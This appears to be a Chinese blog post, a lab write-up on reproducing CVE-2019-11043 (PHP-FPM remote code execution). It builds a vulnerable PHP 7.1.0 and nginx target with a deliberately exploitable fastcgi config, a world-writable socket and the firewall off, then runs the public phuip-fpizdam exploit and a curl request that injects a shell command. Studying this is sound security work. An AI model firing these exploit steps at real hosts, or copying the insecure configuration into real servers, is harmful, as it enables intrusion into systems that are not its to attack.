cve-2019-11043复现(靶机为Ubuntu18.04,php编译安装)

最近做的项目需要复现nginx的exp,其中就包括cve-2019-11043这个exp,他是一个远程代码执行的exp;

这个cve的来源:GitHub - neex/phuip-fpizdam: Exploit for CVE-2019-11043 

我看了之后在Kali上把源码编译了,大家注意编译需要1.13以上版本的go,编译出来的可执行文件在linux平台上就都可以执行了;

让我感到头疼的是靶机要求的脆弱性配置:PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11

有一篇详细介绍如何复现此exp的文章(https://blog.simos.info/testing-cve-2019-11043-php-fpm-security-vulnerability-with-lxd-system-containers/),里面作者考虑到文章发布时可能已经下载不到所需版本,所以提供了低版本的php-fpm的deb包(http://security.ubuntu.com/ubuntu/pool/universe/p/php7.2/),但是,我在安装过程中一直无法解决依赖问题,那么只好自己编译低版本的php源码,好了,我们先来介绍php-7.1.0的编译安装(源码会放在百度云盘里,链接和提取码在后面提供)

将源码解压,进入文件夹,在编译之前我们先安装一些编译依赖库:

sudo -i
apt-get install gcc
apt-get install g++
apt-get install libxml2-dev
apt-get install libssl-dev
apt-get install libbz2-dev
apt-get install libjpeg-dev
apt install libpng-dev
apt install libmcrypt-dev
apt-get install curl

cd /usr/local/include
ln -s /usr/include/x86_64-linux-gnu/curl curl
apt-get install libcurl4-gnutls-dev

特别注意后三行,它完美地解决了编译时出现的configure: error: Please reinstall the libcurl distribution这个错误;

好了,下面可以放心编译了;

./configure --prefix=/usr/local/php  --enable-fpm --with-mcrypt --enable-mbstring --disable-pdo --with-curl --disable-debug  --disable-rpath --enable-inline-optimization --with-bz2  --with-zlib --enable-sockets --enable-sysvsem --enable-sysvshm --enable-pcntl --enable-mbregex --with-mhash --enable-zip --with-pcre-regex --with-mysqli --with-gd --with-jpeg-dir --with-openssl

make && make install

make test

make clean

建立软链接
ln -s /usr/local/php-$PHP_VERSION/bin/php /usr/bin/php
ln -s /usr/local/php-$PHP_VERSION/bin/phpize /usr/bin/phpize
ln -s /usr/local/php-$PHP_VERSION/bin/pecl /usr/bin/pecl
ln -s /usr/local/php-$PHP_VERSION/bin/php-config /usr/bin/php-config
ln -s /usr/local/php-$PHP_VERSION/sbin/php-fpm /usr/bin/php-fpm

添加用户与组
useradd nobody
groupadd nobody

设定配置文件
cd /usr/local/php/etc
cp php-fpm.conf.default php-fpm.conf

cd /usr/local/php/etc/php-fpm.d
cp www.conf.default www.conf

好了,让我们来测试一下安装成功了没有

cd /usr/local/php/sbin
./php-fpm -v

若打印出php-fpm的版本信息,就说明编译安装成功了;

接下来,我们要安装nginx,由于对nginx的版本无特别要求,所以直接命令行安装就行

apt-get install nginx

接下来,我们要进行php-fpm+nginx连接配置;

Part1:配置php-fpm

#添加用户与组
sudo -i
useradd nginx
usermod -G nginx nginx
#php与nginx的unix socket通信方式
cd /usr/local/php/var/run
touch php7.1-fpm.sock
chown nginx:nginx php7.1-fpm.sock
chmod 777 php7.1-fpm.sock

cd /usr/local/php/etc/php-fpm.d
gedit www.conf
#修改www.conf
gruop=nginx
user=nginx
listen=/usr/local/php/var/run/php7.1-fpm.sock
去掉listen.owner,listen.group,listen.mode前面的分号注释,修改:
listen.owner = nginx
listen.group = nginx
(listen.mode不用改)
#关闭www.conf

#看看改了配置后php-fpm是否还能运行
cd /usr/local/php/sbin
./php-fpm -v
#应该没有问题

Part2:配置nginx

gedit /etc/nginx/sites-enabled/default #修改default,将下列替换原来配置文件
--------------------------------------------------------------------------------------------------------------------------------
# See article at https://blog.simos.info/testing-cve-2019-11043-php-fpm-security-vulnerability-with-lxd-system-containers/
# Location: /etc/nginx/sites-enabled/default

server {
        listen 80 default_server;
        root /var/www/html;

        # Add index.php to the list if you are using PHP
        index index.html index.php;

        server_name _;

        location / {
            # First attempt to serve request as file, then
            # as directory, then fall back to displaying a 404.
            try_files $uri $uri/ =404;
        }

        # pass PHP scripts to FastCGI server
        #
        location ~ [^/].php(/|$) {

include fastcgi.conf;

# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+.php)(/.+)$;

# Check that the PHP script exists before passing it
#try_files $fastcgi_script_name =404;

# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;

fastcgi_index index.php;

            fastcgi_pass unix:/usr/local/php/var/run/php7.1-fpm.sock;
       }
}
--------------------------------------------------------------------------------------------------------------------------------

Part3:测试
上述配置完成后,重启

#依次启动php-fpm与nginx
sudo -i
cd /usr/local/php/sbin
./php-fpm
service nginx start
#给php7.1-fpm.sock赋权
#这里需要注意两点:1.必须在php-fpm与nginx启动之后再进行赋权,否则赋权无效;
#2.重启或关机之后再开机赋权会失效,需要重新赋权
cd /usr/local/php/var/run
chmod 777 php7.1-fpm.sock

echo "<?php echo '<p>hello World</p>';?>"|sudo tee /var/www/html/index.php
然后在浏览器输入http://localhost/,回车,若出现hello World则表示两者连接配置成功!

好了,台上三分钟,台下十年功,终于到了使用这个exp的时候了;

将靶机网络改为桥接网卡模式,用ifconfig打印出靶机的ip,用ufw disable关闭防火墙;

在另外一台linux系统上(例如我自己的是Ubuntu18.04)运行phuip-fpizdam这个可执行文件

先运行如下命令(exp检验配置是否脆弱)

./phuip-fpizdam http://<ip>/index.php

对于脆弱配置,会得到如下类似输出

确定配置脆弱后,可利用此exp对该网址进行远程代码执行;格式如下:

curl "http://<ip>/index.php?a=/bin/sh+-c+'which+which'&"

例如:

返回了id信息,与作者的例子一致,可以说,这个exp我复现成功了:)

注:此exp并非次次攻击有效,可多试几次!

php7.1.0的源码,链接: https://pan.baidu.com/s/1ntXNkElSFWTY9nj7BIAHEg  密码: q7qm

如果还有什么问题,可以查看nginx日志(路径:/var/log/nginx/error.log),也可以邮件联系我(KangMing_Chu@126.com)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值